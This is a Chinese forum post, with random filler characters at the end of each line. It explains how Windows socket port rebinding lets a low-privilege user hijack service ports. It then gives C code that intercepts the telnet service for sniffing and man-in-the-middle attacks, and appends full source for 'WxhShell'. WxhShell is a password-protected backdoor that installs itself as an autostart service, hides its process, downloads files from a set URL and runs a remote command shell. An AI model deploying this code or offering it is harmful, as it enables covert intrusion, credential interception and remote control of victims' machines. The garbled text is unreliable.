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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d*khda;Vj  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {cnya*  
H@bra~k-  
  saddr.sin_family = AF_INET; Bs =V-0  
m=Y9sB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c!T^JZBb  
HWT0oh]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^*"&e\+p  
M7/P&d  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p%+ 0^]v1  
"zc@(OA[z  
  这意味着什么?意味着可以进行如下的攻击: $TU=^W)X  
d?Gf T$1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \ v44Vmfz  
"B*a| 'n!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,w,>pO'[  
#R4Mv(BG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I: U/%cr,  
xcnHj1r-o'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (l{+ T#  
54WM*FZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $"0 t1  
KGxF3xS*7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Gg|'T}0X  
4*&x% ~*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yZ~<! 5.P  
g4<%t,(88E  
  #include 'C+z  
  #include Qh%/{6(u  
  #include U8]L3&~  
  #include    X5U_|XK6Y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T#6']D  
  int main() q#LwM]<.@>  
  { 7s; <5xc  
  WORD wVersionRequested; D$q"k"  
  DWORD ret; |Yh-`~~A"  
  WSADATA wsaData; 5'@J}7h  
  BOOL val; [&|Le;h  
  SOCKADDR_IN saddr; g9}u6q  
  SOCKADDR_IN scaddr; Y'i0=w6G  
  int err; V2g,JFp&  
  SOCKET s; jFM8dl n  
  SOCKET sc; >F8&wh'BjY  
  int caddsize; _s><>LH~  
  HANDLE mt; '!Ps4ZTn_  
  DWORD tid;   T~cq=i|O  
  wVersionRequested = MAKEWORD( 2, 2 ); $^ (q0zR~l  
  err = WSAStartup( wVersionRequested, &wsaData ); Iwi>yx8  
  if ( err != 0 ) { >9a%"<(2#  
  printf("error!WSAStartup failed!\n"); N#@xo)-H  
  return -1; 8A"[n>931  
  } DBAJkBs  
  saddr.sin_family = AF_INET; ih.UzPg  
   z{d],M  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /O|!Sg{  
2_vE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $5GvF1  
  saddr.sin_port = htons(23); E}lU?U5i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a({qc0+UK  
  { o m`r^3,  
  printf("error!socket failed!\n"); P{)H7B>  
  return -1; *U.$=4Az  
  } bv9\Jp0c  
  val = TRUE; K6KEdXM4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cCFSPT2fq[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) k^Tu9}[W1  
  { ?)<zrE5p  
  printf("error!setsockopt failed!\n"); S+ymdZ)xZ`  
  return -1; HB {-^9{E  
  } |}^[f]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6R%c+ok8i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 YH)U nql  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !s.G$ JS<  
j$T2ff6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |(}uagfrd  
  { *0{MAm  
  ret=GetLastError(); V:6#IL  
  printf("error!bind failed!\n"); q?[{fcNh$  
  return -1; d%1S6eYa'  
  } G(JvAe]r  
  listen(s,2); %83PbH  
  while(1) u9:;ft{}N  
  { 1]A%lud4  
  caddsize = sizeof(scaddr); <E$P  
  //接受连接请求 +6*oO|   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lk \|EG  
  if(sc!=INVALID_SOCKET) 6ecr]=Cv  
  { KZ ?<&x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6Kh: m-E9  
  if(mt==NULL) 0MMY{@n  
  { ?XsL4HI x  
  printf("Thread Creat Failed!\n"); Z{chAg\  
  break; 0vS%m/Zi-  
  } [aO"9  
  } v 8{oXzyy  
  CloseHandle(mt); PdMx6 Ab  
  } Mb\~WUWI  
  closesocket(s); &w2.b:HF  
  WSACleanup(); $MKx\qx}  
  return 0; 1(w0* `  
  }   ]WN{8   
  DWORD WINAPI ClientThread(LPVOID lpParam) (loUO;S=  
  { fL83:<RK  
  SOCKET ss = (SOCKET)lpParam; u~LisZ&tP  
  SOCKET sc; 4dMwJ"V  
  unsigned char buf[4096]; 3=t}py7M  
  SOCKADDR_IN saddr; >G' NI?$  
  long num; `C=!8q  
  DWORD val; dulW!&*No  
  DWORD ret; lADi  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \VHi   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .{7?Y;_(  
  saddr.sin_family = AF_INET; oVoTnGNM6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); TT .EQv5  
  saddr.sin_port = htons(23); zY[6Ia{L  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R{!s%K&  
  { @WhcY*R2  
  printf("error!socket failed!\n"); akm)X0!-}  
  return -1; xVfJ ]Y  
  } QlJCdCSy  
  val = 100; "uGJ\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2r?g|< :  
  { q5lRc=.b[  
  ret = GetLastError(); Cd7 j G  
  return -1; Se"\PxBR  
  } IZJV6clM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TUy*wp9  
  { *Ei~2O}  
  ret = GetLastError(); |YZ`CN<  
  return -1; QV{Nq=%]  
  } <FS/'[P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l:+tl/  
  { . Nog.  
  printf("error!socket connect failed!\n"); 4I:Jb;k>  
  closesocket(sc); *}ay  
  closesocket(ss); "^_p>C)T  
  return -1; ^%go\ C ;  
  } wjS3ItB  
  while(1) l-t:7`=|  
  { YvBUx#\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1(q!.lPc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 e{=7,DRH<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 deHBY4@  
  num = recv(ss,buf,4096,0); !G\1$"T$  
  if(num>0) 8"oS1W  
  send(sc,buf,num,0); w$Dp m.0(  
  else if(num==0) Vy}:Q[  
  break; w/YKWv{_S  
  num = recv(sc,buf,4096,0); 4yRT!k}o  
  if(num>0) 5U1@wfKE3>  
  send(ss,buf,num,0); bXJ,L$q  
  else if(num==0) C!qW:H  
  break; eDaVoc3  
  } akd~Z  
  closesocket(ss); 2$\1v*:  
  closesocket(sc); v#-%_V>ph  
  return 0 ; Ao{wd1  
  }  M?}2  
0>Mm |x*5  
QREIr |q'  
========================================================== 6K`frt  
"ajZ&{Z  
下边附上一个代码,,WXhSHELL 7t@jj%F  
),M8W15  
========================================================== d:A+s>`$M  
Lb2Bu>  
#include "stdafx.h" NNe'5q9  
ReSP)%oW  
#include <stdio.h> k9}im  
#include <string.h> }E?s*iP  
#include <windows.h> %A82{  
#include <winsock2.h> NKGo E/  
#include <winsvc.h> 4`Fbl]Q   
#include <urlmon.h> L?al2aopF  
~0/=5 dC  
#pragma comment (lib, "Ws2_32.lib") _;'}P2&Q  
#pragma comment (lib, "urlmon.lib") .YS[Md{  
LgBs<2  
#define MAX_USER   100 // 最大客户端连接数 rzqCQZHL5  
#define BUF_SOCK   200 // sock buffer vja^ O  
#define KEY_BUFF   255 // 输入 buffer CZ]+B8Pl(x  
QQC0uta`  
#define REBOOT     0   // 重启 .Z/"L@  
#define SHUTDOWN   1   // 关机 Nkv2?o>l  
A\4 Gq  
#define DEF_PORT   5000 // 监听端口 $#KSvo{otI  
y99G3t  
#define REG_LEN     16   // 注册表键长度 7RdL/21K  
#define SVC_LEN     80   // NT服务名长度 i&_sbQ^  
q/4PX  
// 从dll定义API ^~(bm$4r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X^aujK^@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QF%@MK0zC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &m Y<e4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _II;$_N  
f, ;sEV  
// wxhshell配置信息 , / 4}CM  
struct WSCFG { s[xdID^3.  
  int ws_port;         // 监听端口 Bb-x1{t  
  char ws_passstr[REG_LEN]; // 口令 ,{E'k+  
  int ws_autoins;       // 安装标记, 1=yes 0=no Xc Pn  
  char ws_regname[REG_LEN]; // 注册表键名 k)S7SbQ  
  char ws_svcname[REG_LEN]; // 服务名 !3HMGzt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v t(kL(}v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .bpxSU%X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eQ C`e#%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _k ~bH\(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3!Bekn]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &,e@pvc3  
}]g>PY  
}; t5 5k#`Z  
E"u>&uPH  
// default Wxhshell configuration 0D.YO<PU  
struct WSCFG wscfg={DEF_PORT, (F_#LeJ|  
    "xuhuanlingzhe", g00XZ0@  
    1, rRsLl/d  
    "Wxhshell", u_:" u  
    "Wxhshell", 0Q>Yoa 11  
            "WxhShell Service", hV=)T^Q  
    "Wrsky Windows CmdShell Service", :k(aH Ua  
    "Please Input Your Password: ", ["@K~my~D*  
  1, lHP[WO  
  "http://www.wrsky.com/wxhshell.exe", 8.9S91]=  
  "Wxhshell.exe" "J[Crm  
    }; Gia_B6*Y[  
oq0G@  
// 消息定义模块 ZYL]|/"J9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _-^ KqNyy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?]sj!7   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e%UFY-2  
char *msg_ws_ext="\n\rExit."; W6wgX0H  
char *msg_ws_end="\n\rQuit."; F'`L~!F  
char *msg_ws_boot="\n\rReboot..."; [kC-g @  
char *msg_ws_poff="\n\rShutdown..."; y;Dw%m  
char *msg_ws_down="\n\rSave to "; tSQ>P -O  
?rr%uXQjH  
char *msg_ws_err="\n\rErr!"; E@[`y:P  
char *msg_ws_ok="\n\rOK!"; eb+[=nmP  
Jh }3AoD  
char ExeFile[MAX_PATH]; nwV\ [E  
int nUser = 0; %X#Wc:b  
HANDLE handles[MAX_USER]; &4B N9`|:  
int OsIsNt; d3Y#_!)  
E5 Y92vu  
SERVICE_STATUS       serviceStatus; }0f[x ?V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DmD*,[rD  
=_v_#;h&  
// 函数声明 T.&^1qWWA  
int Install(void); vH7"tz&RIp  
int Uninstall(void); O{%y `|m  
int DownloadFile(char *sURL, SOCKET wsh); dq|z;,`  
int Boot(int flag); >B~p[wh0  
void HideProc(void); vsES`  
int GetOsVer(void); WU}JArX9  
int Wxhshell(SOCKET wsl); 2Uk$9s  
void TalkWithClient(void *cs); 4pA(.<#A  
int CmdShell(SOCKET sock); 5GpR N  
int StartFromService(void); ]A!Gr(FHQ  
int StartWxhshell(LPSTR lpCmdLine); w"A'uFXLc  
5N ' QG<jE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T_I"Tsv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SD JAk&Z}R  
>Wy@J]Y#  
// 数据结构和表定义 ?b2%\p`"  
SERVICE_TABLE_ENTRY DispatchTable[] = K4l,YR;r  
{ S W  
{wscfg.ws_svcname, NTServiceMain}, 4$vya+mAk5  
{NULL, NULL} }vc C4 =t/  
}; KZ<zsHX8H  
+]*?J1 Y8Z  
// 自我安装 rEZa%)XJ  
int Install(void) X"'}1o  
{ ], ' n!:>  
  char svExeFile[MAX_PATH]; <PJwBA%{  
  HKEY key; G~^Pkl3%T  
  strcpy(svExeFile,ExeFile); WFLT[j!1  
5v>(xl  
// 如果是win9x系统,修改注册表设为自启动 \!s0VEE  
if(!OsIsNt) { Z&/;6[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (wvDiW5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )zen"](cze  
  RegCloseKey(key); 9-)oA+$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JNk ]$ xz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Az" 3f  
  RegCloseKey(key); @KNp?2a  
  return 0; V^.~m;ETu]  
    } ~M43#E[oOF  
  } cH"M8gP#  
} spn1Ji  
else { 9<-AukK m  
tjO||]I  
// 如果是NT以上系统,安装为系统服务 dkRJ^~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *crpM3fO>  
if (schSCManager!=0) 30[?XVI&  
{ >#c]rk:  
  SC_HANDLE schService = CreateService ,/JrQWgD  
  ( nvpdu)q<  
  schSCManager, 0nA17^W  
  wscfg.ws_svcname, hC5ivJ  
  wscfg.ws_svcdisp, ~vaV=})  
  SERVICE_ALL_ACCESS, Fc42TH p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8M:;9a8fh  
  SERVICE_AUTO_START, R-hqaEB  
  SERVICE_ERROR_NORMAL, !]5F2~"v  
  svExeFile, g4%x7#vz0  
  NULL, ;>|:I(l;  
  NULL, ILTd*f  
  NULL, I)DLnnQQ  
  NULL, O,:ent|  
  NULL o_os;  
  ); &|Z:8]'P  
  if (schService!=0) vZ$uD,@;.  
  { _0^<)OSY  
  CloseServiceHandle(schService); 8|V6RgA%  
  CloseServiceHandle(schSCManager); [#uX{!q'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D='/-3f!F]  
  strcat(svExeFile,wscfg.ws_svcname); 0(-'L\<>x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Qh)@-r3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Wc03Sv&FZ  
  RegCloseKey(key); <;SMczR  
  return 0; &bnF{~<\  
    } ~D<o}ItRF  
  } u[PO'6Kzd  
  CloseServiceHandle(schSCManager); WB $Z<m :  
} jcFh2  
} ]?mWnEi!z  
QoI@/ jLj  
return 1; wxr93$v  
} }"Y]GH4Y  
nN/v7^^  
// 自我卸载 A3yVT8  
int Uninstall(void) A$fd6+{  
{ 6$ @Pk<w  
  HKEY key; )!p=0&z@{  
6Z|/M6f  
if(!OsIsNt) { &l{yEWA}g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %^gT.DsX-  
  RegDeleteValue(key,wscfg.ws_regname); L=4?vs  
  RegCloseKey(key); ?nj _gL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j08|zUe  
  RegDeleteValue(key,wscfg.ws_regname); esbxx##\  
  RegCloseKey(key); +JBhw4et;.  
  return 0; *sB=Ys?  
  } qV8;;&8r  
} eJ$?T7aUf  
} h'w9=Pk~6y  
else { 8~\Fpz|Og  
qs 52)$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rm(<?w%'?  
if (schSCManager!=0) `H ^Nc\P#  
{ DQH _@-q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hG&RGN_<6+  
  if (schService!=0) 2%1 g%  
  { !W]># Pm  
  if(DeleteService(schService)!=0) { G:A ~nv9  
  CloseServiceHandle(schService); 8+v6%,K2  
  CloseServiceHandle(schSCManager); 26.iFt/:  
  return 0; Z(*n ZT,  
  } -:cS}I  
  CloseServiceHandle(schService); 6DR@$fpt  
  } _(J- MCY\  
  CloseServiceHandle(schSCManager); Pw hs`YGMF  
} R 5bt~U  
} G-bG}9vc]  
?2_u/x  
return 1; 7:{4'Wr@6|  
} :14O=C  
p5c'gziR  
// 从指定url下载文件 m!N_TOl-^  
int DownloadFile(char *sURL, SOCKET wsh) (fm\kV  
{ f+%J=Am  
  HRESULT hr; .l !:|Fd  
char seps[]= "/"; D\N-ye1LE  
char *token; 1}KNzMHk9  
char *file; (3c,;koRR  
char myURL[MAX_PATH]; 52wq<[#tK  
char myFILE[MAX_PATH]; -H'_%~OV(  
c@5fiRPv!  
strcpy(myURL,sURL); 7 fqK{^ L  
  token=strtok(myURL,seps); dUOjPq97  
  while(token!=NULL) Q3wD6!'&m  
  { C<6u}czA  
    file=token; >:Xzv  
  token=strtok(NULL,seps); /$&~0pk  
  } a%*W^R9Ls  
Qj[4gN?}=  
GetCurrentDirectory(MAX_PATH,myFILE); 3`IDm5  
strcat(myFILE, "\\"); !ssE >bDa  
strcat(myFILE, file); Y?ZTl762  
  send(wsh,myFILE,strlen(myFILE),0); n?!.r c  
send(wsh,"...",3,0); ')Ozz<{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u0w2v+  
  if(hr==S_OK) 7$,["cJX  
return 0; L>xcgV7  
else [UR+G8X21m  
return 1; ^ylJ_lN&=1  
!ny; YV  
} A}OV>yM  
%w/o#*j<;  
// 系统电源模块 >^D"%Oj y  
int Boot(int flag) [M@i,d-;A  
{ >`'#4!}G5j  
  HANDLE hToken; OA4NXl'  
  TOKEN_PRIVILEGES tkp; RvYew!n  
0wAZ9AxA{  
  if(OsIsNt) { dH#S69>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `: i|y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +CX2W('  
    tkp.PrivilegeCount = 1; F@"X d9q?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SO]x^+[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IOvYvFUUJ  
if(flag==REBOOT) { htMsS4^Kvd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y !47!Dn  
  return 0; ;T-i+_  
} o@EV>4e y  
else { "EWU:9\0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vb{&T<  
  return 0; i ,4  
} J j yQ  
  } { tim{nV  
  else { XMa(XOnX  
if(flag==REBOOT) { gigDrf}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T/)$}#w0i  
  return 0; i3rvD ch  
} (.<Gde#  
else { b0riiF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xb)XV$0  
  return 0; ,XI,B\eNk  
} = Ky1v$<  
} P.&,nFIg3  
!COaPrg  
return 1; s/`4]B;2U  
} ^^3 >R`  
}1N)3~  
// win9x进程隐藏模块 `@")R-  
void HideProc(void) s-*8=  
{ YPf&y"E&H  
;vQ7[Pv.j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8 x|NR?  
  if ( hKernel != NULL ) <4rF3 aB-  
  { ;G;vpl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3L=vsvO4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :pDwg d  
    FreeLibrary(hKernel); <IK8 Ucp  
  } DK*2 d_  
9i,QCA  
return; !@ai=p  
} YpL{c*M  
|+cyb<(V J  
// 获取操作系统版本 < ynm A  
int GetOsVer(void) /D 2v 1  
{ YOP=gvZq  
  OSVERSIONINFO winfo; A~h.,<+"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); + 5sT GNG  
  GetVersionEx(&winfo); 8l+\Qyj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XZ Z Ml  
  return 1; )I.[@#-  
  else wEKm3mY;  
  return 0; qJ5Y}/r  
} z/6kxV89  
\8{C$"F  
// 客户端句柄模块 <`H:Am`  
int Wxhshell(SOCKET wsl) S"5</*  
{ r\ ` R$  
  SOCKET wsh; mBQ6qmK   
  struct sockaddr_in client; 3AX/A+2  
  DWORD myID; 9oc.`-e\?  
?Xh=rx_  
  while(nUser<MAX_USER) p`33`25  
{ S7E:&E&  
  int nSize=sizeof(client); &qMSJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tA}O'x  
  if(wsh==INVALID_SOCKET) return 1; W O|2x0K  
4=*VXM/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NnrX64|0  
if(handles[nUser]==0) jP@H$$-=wH  
  closesocket(wsh); 1 /7H` O?  
else )Qp?N<&'  
  nUser++; @e$z Ej5  
  } !;zacw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {xr4CDP  
w KXKc\r  
  return 0; KosAc'/ M  
} vT\`0di~  
;w}ZI<ou  
// 关闭 socket K}&|lCsb  
void CloseIt(SOCKET wsh) \Ao M'+  
{ iNd 8M V  
closesocket(wsh); }y x'U 3  
nUser--; cDm_QYQ  
ExitThread(0); x_2 [+Ol  
} 7evE;KL  
y5BNHweaRb  
// 客户端请求句柄 8iqx*8}  
void TalkWithClient(void *cs) o_b j@X  
{ FUvZMA$  
`fY~Lv{4d_  
  SOCKET wsh=(SOCKET)cs; iW.8+?Xq&  
  char pwd[SVC_LEN]; 0Evmq3,9  
  char cmd[KEY_BUFF]; {-7];e  
char chr[1]; +>44'M^Z|(  
int i,j; T% Kj >-  
@m1vB!  
  while (nUser < MAX_USER) { x AkM_<  
az?B'|VX  
if(wscfg.ws_passstr) { QVb @/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6EGh8H f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zw7=:<z=  
  //ZeroMemory(pwd,KEY_BUFF); !@W1d|{lu  
      i=0; ~BDVmQa  
  while(i<SVC_LEN) { 'fy1'^VPAV  
UfOF's_'<  
  // 设置超时 B9>3xxp(by  
  fd_set FdRead; z )a8 ^]`  
  struct timeval TimeOut; ]y2(ZTNTs  
  FD_ZERO(&FdRead); R1 hb-  
  FD_SET(wsh,&FdRead); ]Tx8ImD#)A  
  TimeOut.tv_sec=8; VbKky1a@  
  TimeOut.tv_usec=0; mxGa\{D# y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4F??9o8}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )l\BZndf  
H}dsd=yO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); do+HPnfDzU  
  pwd=chr[0]; tceQn ^|<  
  if(chr[0]==0xd || chr[0]==0xa) { 5m=3{lBi  
  pwd=0; CJ {?9z@$.  
  break; :PY~Cws  
  } qyP@[8eH  
  i++; TStu)6%`  
    } R`:Y&)c_$  
]uWx<aD B  
  // 如果是非法用户,关闭 socket 6wqq"6w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b U-Cd  
} \3O#H  
=V/$&96Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); : \:jIP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }ytc oIuLf  
m!$"-nh9  
while(1) { ]9l=geZd%;  
c03A_2%  
  ZeroMemory(cmd,KEY_BUFF); 4 "@BbVYR  
.%M=dL>  
      // 自动支持客户端 telnet标准   %)i?\(/  
  j=0; RI')iz?  
  while(j<KEY_BUFF) { vaxNF%^~yN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _$9<N5F.,o  
  cmd[j]=chr[0]; 1Ty{k^%  
  if(chr[0]==0xa || chr[0]==0xd) { N|h`}*:x=  
  cmd[j]=0; y9=/kFPRm  
  break; QG4#E$ c  
  } oi::/W|A+  
  j++; p6A"_b^  
    } ZgcA[P  
"6gu6f  
  // 下载文件 )z=`,\&p:  
  if(strstr(cmd,"http://")) { S=0zP36kH:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]mn(lK  
  if(DownloadFile(cmd,wsh)) 0"ZB|^c=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kgEGL]G>  
  else G!ty@ Fx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ",B92[}Ar  
  } Hd U1gV>  
  else { DCACj-f  
`2o/W]SSk  
    switch(cmd[0]) { c}U&!R2p{  
  QukLsl]U  
  // 帮助 Ki,]*-XO  
  case '?': { Y@c! \0e$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^; Nu\c  
    break; r\F`xtR(  
  } x&8HBF'  
  // 安装 S =U*is  
  case 'i': { smoz5~  
    if(Install()) N>z_uPy{A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zRx-xWo  
    else [@eNb^ R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zb OEF  
    break; )|x) KY  
    } &y;('w  
  // 卸载 ' {5|[  
  case 'r': { _SJ#k|vcq  
    if(Uninstall()) RnE=T/VZJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xx)egy_  
    else D^E1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /(bPc12  
    break; pUZbZ U  
    } GO.mT/rB  
  // 显示 wxhshell 所在路径 O'Lgb9  
  case 'p': { Q0Y0Zt,h  
    char svExeFile[MAX_PATH]; wcspqC"_  
    strcpy(svExeFile,"\n\r"); c*'D  
      strcat(svExeFile,ExeFile); po}Jwx!  
        send(wsh,svExeFile,strlen(svExeFile),0); [>A%%  
    break; fLa 7d?4  
    } P 5yS`v$@  
  // 重启 <T>C}DGw  
  case 'b': { 7H:1c=U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I8d#AVF2  
    if(Boot(REBOOT)) <{Wsh#7}.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); il(dVW  
    else { X2 c<.  
    closesocket(wsh); 9fp1*d  
    ExitThread(0); [[}KCND  
    } QmvhmsDL  
    break; ArDkJ`DE  
    } vrXUS9i.  
  // 关机 %G1kkcdH<  
  case 'd': { B<SuNbR  
